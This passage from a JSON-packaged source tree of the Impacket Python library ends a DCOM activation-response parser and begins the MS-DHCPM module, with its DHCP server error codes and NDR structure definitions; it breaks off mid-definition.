list(objrefcustom.getData())\n        resp = self.__portmap.request(request)\n\n        # Now let's parse the answer and build an Interface instance\n\n        objRefType = OBJREF(b''.join(resp['ppActProperties']['abData']))['flags']\n        objRef = None\n        if objRefType == FLAGS_OBJREF_CUSTOM:\n            objRef = OBJREF_CUSTOM(b''.join(resp['ppActProperties']['abData']))\n        elif objRefType == FLAGS_OBJREF_HANDLER:\n            objRef = OBJREF_HANDLER(b''.join(resp['ppActProperties']['abData']))\n        elif objRefType == FLAGS_OBJREF_STANDARD:\n            objRef = OBJREF_STANDARD(b''.join(resp['ppActProperties']['abData']))\n        elif objRefType == FLAGS_OBJREF_EXTENDED:\n            objRef = OBJREF_EXTENDED(b''.join(resp['ppActProperties']['abData']))\n        else:\n            LOG.error(\"Unknown OBJREF Type! 0x%x\" % objRefType)\n\n\n        activationBlob = ACTIVATION_BLOB(objRef['pObjectData'])\n\n        propOutput = activationBlob['Property'][:activationBlob['CustomHeader']['pSizes'][0]['Data']]\n        scmReply = activationBlob['Property'][\n                   activationBlob['CustomHeader']['pSizes'][0]['Data']:activationBlob['CustomHeader']['pSizes'][0]['Data'] +\n                                                                       activationBlob['CustomHeader']['pSizes'][1]['Data']]\n\n        scmr = ScmReplyInfoData()\n        size = scmr.fromString(scmReply)\n        # Processing the scmReply\n        scmr.fromStringReferents(scmReply[size:])\n        ipidRemUnknown = scmr['remoteReply']['ipidRemUnknown']\n        Oxids = b''.join(pack('<H', x) for x in scmr['remoteReply']['pdsaOxidBindings']['aStringArray'])\n        strBindings = Oxids[:scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2]\n        securityBindings = Oxids[scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2:]\n\n        done = False\n        stringBindings = list()\n        while not done:\n            if strBindings[0:1] == b'\\x00' and strBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                binding = STRINGBINDING(strBindings)\n                stringBindings.append(binding)\n                strBindings = strBindings[len(binding):]\n\n        done = False\n        while not done:\n            if len(securityBindings) < 2:\n                done = True\n            elif securityBindings[0:1] == b'\\x00' and securityBindings[1:2] == b'\\x00':\n                done = True\n            else:\n                secBinding = SECURITYBINDING(securityBindings)\n                securityBindings = securityBindings[len(secBinding):]\n\n        # Processing the Properties Output\n        propsOut = PropsOutInfo()\n        size = propsOut.fromString(propOutput)\n        propsOut.fromStringReferents(propOutput[size:])\n\n        classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)\n        classInstance.set_auth_level(scmr['remoteReply']['authnHint'])\n        classInstance.set_auth_type(self.__portmap.get_auth_type())\n        return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown,\n                                      target=self.__portmap.get_rpc_transport().getRemoteName()))\n"
  },
  {
    "path": "impacket/dcerpc/v5/dhcpm.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-DHCPM] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket import system_errors\nfrom impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, NULL, DWORD, BOOL, BYTE, LPDWORD, WORD\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRENUM, NDRUNION\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_DHCPSRV = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F874532D', '1.0'))\nMSRPC_UUID_DHCPSRV2 = uuidtup_to_bin(('5B821720-F63B-11D0-AAD2-00C04FC324DB', '1.0'))\n\n\n################################################################################\n# CONSTANTS\n################################################################################\nDHCP_SRV_HANDLE = LPWSTR\nDHCP_IP_ADDRESS = DWORD\nDHCP_IP_MASK = DWORD\nDHCP_OPTION_ID = DWORD\n\n# DHCP enumeratiom flags\nDHCP_FLAGS_OPTION_DEFAULT = 0x00000000\nDHCP_FLAGS_OPTION_IS_VENDOR = 0x00000003\n\n# Errors\nERROR_DHCP_REGISTRY_INIT_FAILED = 0x00004E20\nERROR_DHCP_DATABASE_INIT_FAILED = 0x00004E21\nERROR_DHCP_RPC_INIT_FAILED = 0x00004E22\nERROR_DHCP_NETWORK_INIT_FAILED = 0x00004E23\nERROR_DHCP_SUBNET_EXITS = 0x00004E24\nERROR_DHCP_SUBNET_NOT_PRESENT = 0x00004E25\nERROR_DHCP_PRIMARY_NOT_FOUND = 0x00004E26\nERROR_DHCP_ELEMENT_CANT_REMOVE = 0x00004E27\nERROR_DHCP_OPTION_EXITS = 0x00004E29\nERROR_DHCP_OPTION_NOT_PRESENT = 0x00004E2A\nERROR_DHCP_ADDRESS_NOT_AVAILABLE = 0x00004E2B\nERROR_DHCP_RANGE_FULL = 0x00004E2C\nERROR_DHCP_JET_ERROR = 0x00004E2D\nERROR_DHCP_CLIENT_EXISTS = 0x00004E2E\nERROR_DHCP_INVALID_DHCP_MESSAGE = 0x00004E2F\nERROR_DHCP_INVALID_DHCP_CLIENT = 0x00004E30\nERROR_DHCP_SERVICE_PAUSED = 0x00004E31\nERROR_DHCP_NOT_RESERVED_CLIENT = 0x00004E32\nERROR_DHCP_RESERVED_CLIENT = 0x00004E33\nERROR_DHCP_RANGE_TOO_SMALL = 0x00004E34\nERROR_DHCP_IPRANGE_EXITS = 0x00004E35\nERROR_DHCP_RESERVEDIP_EXITS = 0x00004E36\nERROR_DHCP_INVALID_RANGE = 0x00004E37\nERROR_DHCP_RANGE_EXTENDED = 0x00004E38\nERROR_EXTEND_TOO_SMALL = 0x00004E39\nWARNING_EXTENDED_LESS = 0x00004E3A\nERROR_DHCP_JET_CONV_REQUIRED = 0x00004E3B\nERROR_SERVER_INVALID_BOOT_FILE_TABLE = 0x00004E3C\nERROR_SERVER_UNKNOWN_BOOT_FILE_NAME = 0x00004E3D\nERROR_DHCP_SUPER_SCOPE_NAME_TOO_LONG = 0x00004E3E\nERROR_DHCP_IP_ADDRESS_IN_USE = 0x00004E40\nERROR_DHCP_LOG_FILE_PATH_TOO_LONG = 0x00004E41\nERROR_DHCP_UNSUPPORTED_CLIENT = 0x00004E42\nERROR_DHCP_JET97_CONV_REQUIRED = 0x00004E44\nERROR_DHCP_ROGUE_INIT_FAILED = 0x00004E45\nERROR_DHCP_ROGUE_SAMSHUTDOWN = 0x00004E46\nERROR_DHCP_ROGUE_NOT_AUTHORIZED = 0x00004E47\nERROR_DHCP_ROGUE_DS_UNREACHABLE = 0x00004E48\nERROR_DHCP_ROGUE_DS_CONFLICT = 0x00004E49\nERROR_DHCP_ROGUE_NOT_OUR_ENTERPRISE = 0x00004E4A\nERROR_DHCP_ROGUE_STANDALONE_IN_DS = 0x00004E4B\nERROR_DHCP_CLASS_NOT_FOUND = 0x00004E4C\nERROR_DHCP_CLASS_ALREADY_EXISTS = 0x00004E4D\nERROR_DHCP_SCOPE_NAME_TOO_LONG = 0x00004E4E\nERROR_DHCP_DEFAULT_SCOPE_EXITS = 0x00004E4F\nERROR_DHCP_CANT_CHANGE_ATTRIBUTE = 0x00004E50\nERROR_DHCP_IPRANGE_CONV_ILLEGAL = 0x00004E51\nERROR_DHCP_NETWORK_CHANGED = 0x00004E52\nERROR_DHCP_CANNOT_MODIFY_BINDINGS = 0x00004E53\nERROR_DHCP_SUBNET_EXISTS = 0x00004E54\nERROR_DHCP_MSCOPE_EXISTS = 0x00004E55\nERROR_MSCOPE_RANGE_TOO_SMALL = 0x00004E56\nERROR_DHCP_EXEMPTION_EXISTS = 0x00004E57\nERROR_DHCP_EXEMPTION_NOT_PRESENT = 0x00004E58\nERROR_DHCP_INVALID_PARAMETER_OPTION32 = 0x00004E59\nERROR_DDS_NO_DS_AVAILABLE = 0x00004E66\nERROR_DDS_NO_DHCP_ROOT = 0x00004E67\nERROR_DDS_UNEXPECTED_ERROR = 0x00004E68\nERROR_DDS_TOO_MANY_ERRORS = 0x00004E69\nERROR_DDS_DHCP_SERVER_NOT_FOUND = 0x00004E6A\nERROR_DDS_OPTION_ALREADY_EXISTS = 0x00004E6B\nERROR_DDS_OPTION_DOES_NOT_EXIST = 0x00004E6C\nERROR_DDS_CLASS_EXISTS = 0x00004E6D\nERROR_DDS_CLASS_DOES_NOT_EXIST = 0x00004E6E\nERROR_DDS_SERVER_ALREADY_EXISTS = 0x00004E6F\nERROR_DDS_SERVER_DOES_NOT_EXIST = 0x00004E70\nERROR_DDS_SERVER_ADDRESS_MISMATCH = 0x00004E71\nERROR_DDS_SUBNET_EXISTS = 0x00004E72\nERROR_DDS_SUBNET_HAS_DIFF_SSCOPE = 0x00004E73\nERROR_DDS_SUBNET_NOT_PRESENT = 0x00004E74\nERROR_DDS_RESERVATION_NOT_PRESENT = 0x00004E75\nERROR_DDS_RESERVATION_CONFLICT = 0x00004E76\nERROR_DDS_POSSIBLE_RANGE_CONFLICT = 0x00004E77\nERROR_DDS_RANGE_DOES_NOT_EXIST = 0x00004E78\nERROR_DHCP_DELETE_BUILTIN_CLASS = 0x00004E79\nERROR_DHCP_INVALID_SUBNET_PREFIX = 0x00004E7B\nERROR_DHCP_INVALID_DELAY = 0x00004E7C\nERROR_DHCP_LINKLAYER_ADDRESS_EXISTS = 0x00004E7D\nERROR_DHCP_LINKLAYER_ADDRESS_RESERVATION_EXISTS = 0x00004E7E\nERROR_DHCP_LINKLAYER_ADDRESS_DOES_NOT_EXIST = 0x00004E7F\nERROR_DHCP_HARDWARE_ADDRESS_TYPE_ALREADY_EXEMPT = 0x00004E85\nERROR_DHCP_UNDEFINED_HARDWARE_ADDRESS_TYPE = 0x00004E86\nERROR_DHCP_OPTION_TYPE_MISMATCH = 0x00004E87\nERROR_DHCP_POLICY_BAD_PARENT_EXPR = 0x00004E88\nERROR_DHCP_POLICY_EXISTS = 0x00004E89\nERROR_DHCP_POLICY_RANGE_EXISTS = 0x00004E8A\nERROR_DHCP_POLICY_RANGE_BAD = 0x00004E8B\nERROR_DHCP_RANGE_INVALID_IN_SERVER_POLICY = 0x00004E8C\nERROR_DHCP_INVALID_POLICY_EXPRESSION = 0x00004E8D\nERROR_DHCP_INVALID_PROCESSING_ORDER = 0x00004E8E\nERROR_DHCP_POLICY_NOT_FOUND = 0x00004E8F\nERROR_SCOPE_RANGE_POLICY_RANGE_CONFLICT = 0x00004E90\n\n# DHCP failover error codes\nERROR_DHCP_FO_SCOPE_ALREADY_IN_RELATIONSHIP = 0x00004E91\nERROR_DHCP_FO_RELATIONSHIP_EXISTS = 0x00004E92\n\nERROR_DHCP_FO_RELATIONSHIP_DOES_NOT_EXIST = 0x00004E93\nERROR_DHCP_FO_SCOPE_NOT_IN_RELATIONSHIP = 0x00004E94\nERROR_DHCP_FO_RELATION_IS_SECONDARY = 0x00004E95\nERROR_DHCP_FO_NOT_SUPPORTED = 0x00004E96\nERROR_DHCP_FO_TIME_OUT_OF_SYNC = 0x00004E97\nERROR_DHCP_FO_STATE_NOT_NORMAL = 0x00004E98\nERROR_DHCP_NO_ADMIN_PERMISSION = 0x00004E99\n\nERROR_DHCP_SERVER_NOT_REACHABLE = 0x00004E9A\nERROR_DHCP_SERVER_NOT_RUNNING = 0x00004E9B\nERROR_DHCP_SERVER_NAME_NOT_RESOLVED = 0x00004E9C\nERROR_DHCP_FO_RELATIONSHIP_NAME_TOO_LONG = 0x00004E9D\nERROR_DHCP_REACHED_END_OF_SELECTION = 0x00004E9E\nERROR_DHCP_FO_ADDSCOPE_LEASES_NOT_SYNCED = 0x00004E9F\nERROR_DHCP_FO_MAX_RELATIONSHIPS = 0x00004EA0\nERROR_DHCP_FO_IPRANGE_TYPE_CONV_ILLEGAL = 0x00004EA1\nERROR_DHCP_FO_MAX_ADD_SCOPES = 0x00004EA2\nERROR_DHCP_FO_BOOT_NOT_SUPPORTED = 0x00004EA3\nERROR_DHCP_FO_RANGE_PART_OF_REL = 0x00004EA4\nERROR_DHCP_FO_SCOPE_SYNC_IN_PROGRESS = 0x00004EA5\nERROR_DHCP_FO_FEATURE_NOT_SUPPORTED = 0x00004EA6\nERROR_DHCP_POLICY_FQDN_RANGE_UNSUPPORTED = 0x00004EA7\nERROR_DHCP_POLICY_FQDN_OPTION_UNSUPPORTED = 0x00004EA8\nERROR_DHCP_POLICY_EDIT_FQDN_UNSUPPORTED = 0x00004EA9\nERROR_DHCP_NAP_NOT_SUPPORTED = 0x00004EAA\nERROR_LAST_DHCP_SERVER_ERROR = 0x00004EAB\n\n\nclass DCERPCSessionError(DCERPCException):\n    ERROR_MESSAGES = {\n        ERROR_DHCP_JET_ERROR: (\"ERROR_DHCP_JET_ERROR\",\n                               \"An error occurred while accessing the DHCP server database.\"),\n        ERROR_DHCP_SUBNET_NOT_PRESENT: (\"ERROR_DHCP_SUBNET_NOT_PRESENT\",\n                                        \"The specified IPv4 subnet does not exist.\"),\n        ERROR_DHCP_SUBNET_EXISTS: (\"ERROR_DHCP_SUBNET_EXISTS\",\n                                   \"The IPv4 scope parameters are incorrect. Either the IPv4 scope already\"\n                                   \" exists, corresponding to the SubnetAddress and SubnetMask members of \"\n                                   \"the structure DHCP_SUBNET_INFO (section 2.2.1.2.8), or there is a \"\n                                   \"range overlap of IPv4 addresses between those associated with the \"\n                                   \"SubnetAddress and SubnetMask fields of the new IPv4 scope and the \"\n                                   \"subnet address and mask of an already existing IPv4 scope\"),\n        ERROR_DHCP_INVALID_DHCP_CLIENT: (\"ERROR_DHCP_INVALID_DHCP_CLIENT\",\n                                         \"The DHCP server received an invalid message from the client.\"),\n    }\n\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__(self):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]\n            return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        elif key in self.ERROR_MESSAGES:\n            error_msg_short = self.ERROR_MESSAGES[key][0]\n            error_msg_verbose = self.ERROR_MESSAGES[key][1]\n            return 'DHCPM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'DHCPM SessionError: unknown error code: 0x%x' % self.error_code\n\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.1.1.3 DHCP_SEARCH_INFO_TYPE\nclass DHCP_SEARCH_INFO_TYPE(NDRENUM):\n    class enumItems(Enum):\n        DhcpClientIpAddress       = 0\n        DhcpClientHardwareAddress = 1\n        DhcpClientName            = 2\n\n# 2.2.1.1.11 QuarantineStatus\nclass QuarantineStatus(NDRENUM):\n    class enumItems(Enum):\n        NOQUARANTINE        = 0\n        RESTRICTEDACCESS    = 1\n        DROPPACKET          = 2\n        PROBATION           = 3\n        EXEMPT              = 4\n        DEFAULTQUARSETTING  = 5\n        NOQUARINFO          = 6\n\n# 2.2.1.2.7 DHCP_HOST_INFO\nclass DHCP_HOST_INFO(NDRSTRUCT):\n    structure = (\n        ('IpAddress', DHCP_IP_ADDRESS),\n        ('NetBiosName', LPWSTR),\n        ('HostName', LPWSTR),\n    )\n\n# 2.2.1.2.9 DHCP_BINARY_DATA\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', BYTE_ARRAY),\n    )\n\nclass DHCP_BINARY_DATA(NDRSTRUCT):\n    structure = (\n        ('DataLength', DWORD),\n        ('Data_', PBYTE_ARRAY),\n    )\n\nDHCP_CLIENT_UID = DHCP_BINARY_DATA\n\n# 2.2.1.2.11 DATE_TIME\nclass DATE_TIME(NDRSTRUCT):\n    structure = (\n        ('dwLowDateTime', DWORD),\n        ('dwHighDateTime', DWORD),\n    )\n\n# 2.2.1.2.19 DHCP_CLIENT_INFO_VQ\nclass DHCP_CLIENT_INFO_VQ(NDRSTRUCT):\n    structure = (\n        ('ClientIpAddress', DHCP_IP_ADDRESS),\n        ('SubnetMask', DHCP_IP_MASK),\n        ('ClientHardwareAddress', DHCP_CLIENT_UID),\n        ('ClientName', LPWSTR),\n        ('ClientComment', LPWSTR),\n        ('ClientLeaseExpires', DATE_TIME),\n        ('OwnerHost', DHCP_HOST_INFO),\n        ('bClientType', BYTE),\n        ('AddressState', BYTE),\n        ('Status', QuarantineStatus),\n        ('ProbationEnds', DATE_TIME),\n        ('QuarantineCapable', BOOL),\n    )\n\nclass DHCP_CLIENT_SEARCH_UNION(NDRUNION):\n    union = {\n        DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress:       ('ClientIpAddress', DHCP_IP_ADDRESS),\n        DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: ('ClientHardwareAddress', DHCP_CLIENT_UID),\n        DHCP_SEARCH_INFO_TYPE.DhcpClientName:            ('ClientName', LPWSTR),\n    }\n\nclass DHCP_SEARCH_INFO(NDRSTRUCT):\n    structure = (\n        ('SearchType', DHCP_SEARCH_INFO_TYPE),\n        ('SearchInfo', DHCP_CLIENT_SEARCH_UNION),\n    )\n\n# 2.2.1.2.14 DHCP_CLIENT_INFO_V4\nclass DHCP_CLIENT_INFO_V4(NDRSTRUCT):\n    structure = (\n        ('ClientIpAddress', DHCP_IP_ADDRESS),\n        ('SubnetMask', DHCP_IP_MASK),\n        ('ClientHardwareAddress', DHCP_CLIENT_UID),\n        ('ClientName', LPWSTR),\n        ('ClientComment', LPWSTR),\n        ('ClientLeaseExpires', DATE_TIME),\n        ('OwnerHost', DHCP_HOST_INFO),\n        ('bClientType', BYTE),\n    )\n\nclass DHCP_CLIENT_INFO_V5(NDRSTRUCT):\n    structure = (\n        ('ClientIpAddress', DHCP_IP_ADDRESS),\n        ('SubnetMask', DHCP_IP_MASK),\n        ('ClientHardwareAddress', DHCP_CLIENT_UID),\n        ('ClientName', LPWSTR),\n        ('ClientComment', LPWSTR),\n        ('ClientLeaseExpires', DATE_TIME),\n        ('OwnerHost', DHCP_HOST_INFO),\n        ('bClientType', BYTE),\n        ('AddressState', BYTE),\n    )\n\nclass LPDHCP_CLIENT_INFO_V4(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_V4),\n    )\n\nclass LPDHCP_CLIENT_INFO_V5(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_V5),\n    )\n\n# 2.2.1.2.115 DHCP_CLIENT_INFO_PB\nclass DHCP_CLIENT_INFO_PB(NDRSTRUCT):\n    structure = (\n        ('ClientIpAddress', DHCP_IP_ADDRESS),\n        ('SubnetMask', DHCP_IP_MASK),\n        ('ClientHardwareAddress', DHCP_CLIENT_UID),\n        ('ClientName', LPWSTR),\n        ('ClientComment', LPWSTR),\n        ('ClientLeaseExpires', DATE_TIME),\n        ('OwnerHost', DHCP_HOST_INFO),\n        ('bClientType', BYTE),\n        ('AddressState', BYTE),\n        ('Status', QuarantineStatus),\n        ('ProbationEnds', DATE_TIME),\n        ('QuarantineCapable', BOOL),\n        ('FilterStatus', DWORD),\n        ('PolicyName', LPWSTR),\n    )\n\nclass LPDHCP_CLIENT_INFO_PB(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_PB),\n    )\n\nclass LPDHCP_CLIENT_INFO_VQ(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_VQ),\n    )\n\nclass DHCP_CLIENT_INFO_VQ_ARRAY(NDRUniConformantArray):\n    item = LPDHCP_CLIENT_INFO_VQ\n\nclass LPDHCP_CLIENT_INFO_VQ_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_VQ_ARRAY),\n    )\n\nclass DHCP_CLIENT_INFO_ARRAY_VQ(NDRSTRUCT):\n    structure = (\n        ('NumElements', DWORD),\n        ('Clients', LPDHCP_CLIENT_INFO_VQ_ARRAY),\n    )\n\nclass LPDHCP_CLIENT_INFO_ARRAY_VQ(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_ARRAY_VQ),\n    )\n\nclass DHCP_CLIENT_INFO_V4_ARRAY(NDRUniConformantArray):\n    item = LPDHCP_CLIENT_INFO_V4\n\nclass DHCP_CLIENT_INFO_V5_ARRAY(NDRUniConformantArray):\n    item = LPDHCP_CLIENT_INFO_V5\n\nclass LPDHCP_CLIENT_INFO_V4_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_V4_ARRAY),\n    )\n\nclass LPDHCP_CLIENT_INFO_V5_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_V5_ARRAY),\n    )\n\nclass DHCP_CLIENT_INFO_ARRAY_V4(NDRSTRUCT):\n    structure = (\n        ('NumElements', DWORD),\n        ('Clients', LPDHCP_CLIENT_INFO_V4_ARRAY),\n    )\n\nclass DHCP_CLIENT_INFO_ARRAY_V5(NDRSTRUCT):\n    structure = (\n        ('NumElements', DWORD),\n        ('Clients', LPDHCP_CLIENT_INFO_V5_ARRAY),\n    )\n\nclass LPDHCP_CLIENT_INFO_ARRAY_V5(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_ARRAY_V5),\n    )\n\nclass LPDHCP_CLIENT_INFO_ARRAY_V4(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_CLIENT_INFO_ARRAY_V4),\n    )\n\nclass DHCP_IP_ADDRESS_ARRAY(NDRUniConformantArray):\n    item = DHCP_IP_ADDRESS\n\nclass LPDHCP_IP_ADDRESS_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_IP_ADDRESS_ARRAY),\n    )\n\nclass DHCP_IP_ARRAY(NDRSTRUCT):\n    structure = (\n        ('NumElements', DWORD),\n        ('Elements', LPDHCP_IP_ADDRESS_ARRAY),\n    )\n\nclass DHCP_SUBNET_STATE(NDRENUM):\n    class enumItems(Enum):\n        DhcpSubnetEnabled           = 0\n        DhcpSubnetDisabled          = 1\n        DhcpSubnetEnabledSwitched   = 2\n        DhcpSubnetDisabledSwitched  = 3\n        DhcpSubnetInvalidState      = 4\n\nclass DHCP_SUBNET_INFO(NDRSTRUCT):\n    structure = (\n        ('SubnetAddress', DHCP_IP_ADDRESS),\n        ('SubnetMask', DHCP_IP_MASK),\n        ('SubnetName', LPWSTR),\n        ('SubnetComment', LPWSTR),\n        ('PrimaryHost', DHCP_HOST_INFO),\n        ('SubnetState', DHCP_SUBNET_STATE),\n    )\n\nclass LPDHCP_SUBNET_INFO(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_SUBNET_INFO),\n    )\n\nclass DHCP_OPTION_SCOPE_TYPE(NDRENUM):\n    class enumItems(Enum):\n        DhcpDefaultOptions  = 0\n        DhcpGlobalOptions   = 1\n        DhcpSubnetOptions   = 2\n        DhcpReservedOptions = 3\n        DhcpMScopeOptions   = 4\n\nclass DHCP_RESERVED_SCOPE(NDRSTRUCT):\n    structure = (\n        ('ReservedIpAddress', DHCP_IP_ADDRESS),\n        ('ReservedIpSubnetAddress', DHCP_IP_ADDRESS),\n    )\n\nclass DHCP_OPTION_SCOPE_UNION(NDRUNION):\n    union = {\n        DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions   : (),\n        DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions    : (),\n        DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions    : ('SubnetScopeInfo', DHCP_IP_ADDRESS),\n        DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions  : ('ReservedScopeInfo', DHCP_RESERVED_SCOPE),\n        DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions    : ('MScopeInfo', LPWSTR),\n    }\n\nclass DHCP_OPTION_SCOPE_INFO(NDRSTRUCT):\n    structure = (\n        ('ScopeType', DHCP_OPTION_SCOPE_TYPE),\n        ('ScopeInfo', DHCP_OPTION_SCOPE_UNION),\n    )\n\nclass LPDHCP_OPTION_SCOPE_INFO(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_OPTION_SCOPE_INFO)\n    )\n\nclass DWORD_DWORD(NDRSTRUCT):\n    structure = (\n        ('DWord1', DWORD),\n        ('DWord2', DWORD),\n    )\n\nclass DHCP_BOOTP_IP_RANGE(NDRSTRUCT):\n    structure = (\n        ('StartAddress', DHCP_IP_ADDRESS),\n        ('EndAddress', DHCP_IP_ADDRESS),\n        ('BootpAllocated', ULONG),\n        ('MaxBootpAllowed', DHCP_IP_ADDRESS),\n        ('MaxBootpAllowed', ULONG ),\n    )\n\nclass DHCP_IP_RESERVATION_V4(NDRSTRUCT):\n    structure = (\n        ('ReservedIpAddress', DHCP_IP_ADDRESS),\n        ('ReservedForClient', DHCP_CLIENT_UID),\n        ('bAllowedClientTypes', BYTE),\n    )\n\nclass DHCP_IP_RANGE(NDRSTRUCT):\n    structure = (\n        ('StartAddress', DHCP_IP_ADDRESS),\n        ('EndAddress', DHCP_IP_ADDRESS),\n    )\n\nclass DHCP_IP_CLUSTER(NDRSTRUCT):\n    structure = (\n        ('ClusterAddress', DHCP_IP_ADDRESS),\n        ('ClusterMask', DWORD),\n    )\n\nclass DHCP_SUBNET_ELEMENT_TYPE(NDRENUM):\n    class enumItems(Enum):\n        DhcpIpRanges           = 0\n        DhcpSecondaryHosts     = 1\n        DhcpReservedIps        = 2\n        DhcpExcludedIpRanges   = 3\n        DhcpIpUsedClusters     = 4\n        DhcpIpRangesDhcpOnly   = 5\n        DhcpIpRangesDhcpBootp  = 6\n        DhcpIpRangesBootpOnly  = 7\n\nclass DHCP_SUBNET_ELEMENT_UNION_V5(NDRUNION):\n    union = {\n        DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges           : ('IpRange', DHCP_BOOTP_IP_RANGE),\n        DHCP_SUBNET_ELEMENT_TYPE.DhcpSecondaryHosts     : ('SecondaryHost', DHCP_HOST_INFO),\n        DHCP_SUBNET_ELEMENT_TYPE.DhcpReservedIps        : ('ReservedIp', DHCP_IP_RESERVATION_V4),\n        DHCP_SUBNET_ELEMENT_TYPE.DhcpExcludedIpRanges   : ('ExcludeIpRange', DHCP_IP_RANGE),\n        DHCP_SUBNET_ELEMENT_TYPE.DhcpIpUsedClusters     : ('IpUsedCluster', DHCP_IP_CLUSTER),\n    }\n\nclass DHCP_SUBNET_ELEMENT_DATA_V5(NDRSTRUCT):\n    structure = (\n        ('ElementType', DHCP_SUBNET_ELEMENT_TYPE),\n        ('Element', DHCP_SUBNET_ELEMENT_UNION_V5),\n    )\n\nclass LPDHCP_SUBNET_ELEMENT_DATA_V5(NDRUniConformantArray):\n    item = DHCP_SUBNET_ELEMENT_DATA_V5\n\nclass DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRSTRUCT):\n    structure = (\n        ('NumElements', DWORD),\n        ('Elements', LPDHCP_SUBNET_ELEMENT_DATA_V5),\n    )\n\nclass LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRPOINTER):\n    referent = (\n        ('Data', DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5)\n    )\n\nclass DHCP_OPTION_DATA_TYPE(NDRENUM):\n    class enumItems(Enum):\n        DhcpByteOption              = 0\n        DhcpWordOption              = 1\n        DhcpDWordOption             = 2\n        DhcpDWordDWordOption        = 3\n        DhcpIpAddressOption         = 4\n        DhcpStringDataOption        = 5\n        DhcpBinaryDataOption        = 6\n        DhcpEncapsulatedDataOption  = 7\n        DhcpIpv6AddressOption       = 8\n\nclass DHCP_OPTION_ELEMENT_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', DHCP_OPTION_DATA_TYPE),\n    )\n    union = {\n        DHCP_OPTION_DATA_TYPE.DhcpByteOption            : ('ByteOption', BYTE),\n        DHCP_OPTION_DATA_TYPE.DhcpWordOption            : ('WordOption', WORD),\n        DHCP_OPTION_DATA_TYPE.DhcpDWordOption           : ('DWordOption', DWORD),\n        DHCP_OPTION_DATA_TYPE.DhcpDWordDWordOption      : ('DWordDWordOption', DWORD_DWORD),\n        DHCP_OPTION_DATA_TYPE.DhcpIpAddressOption       : ('IpAddressOption', DHCP_IP_ADDRESS),\n        DHCP_OPTION_DATA_TYPE.DhcpStringDataOption      : ('StringDataOption', LPWSTR),\n        DHCP_OPTION_DATA_TYPE.DhcpBinaryDataOption      : ('BinaryDataOption', DHCP_BINARY_DATA),\n        DHCP_OPTION_DATA_TYPE.DhcpEncapsulatedDataOption: ('EncapsulatedDataOption', DHCP_BINARY_DATA),\n        DHCP_OPTION_DATA_TYPE.DhcpIpv6AddressOption     : ('Ipv6AddressDataOption', LPWSTR),\n    }\n\nclass DHCP_OPTION_DATA_ELEMENT(NDRSTRUCT):\n    structure = (\n        ('OptionType', DHCP_OPTION_DATA_TYPE),\n        ('Element', DHCP_OPTION_ELEMENT_UNION),\n    )\n\nclass DHCP_OPTION_DATA_ELEMENT_ARRAY2(NDRUniConformantArray):\n    item = DHCP_OPTION_DATA_ELEMENT\n\nclass LPDHCP_OPTION_DATA_ELEMENT(NDRPOINTER):\n    referent = (\n        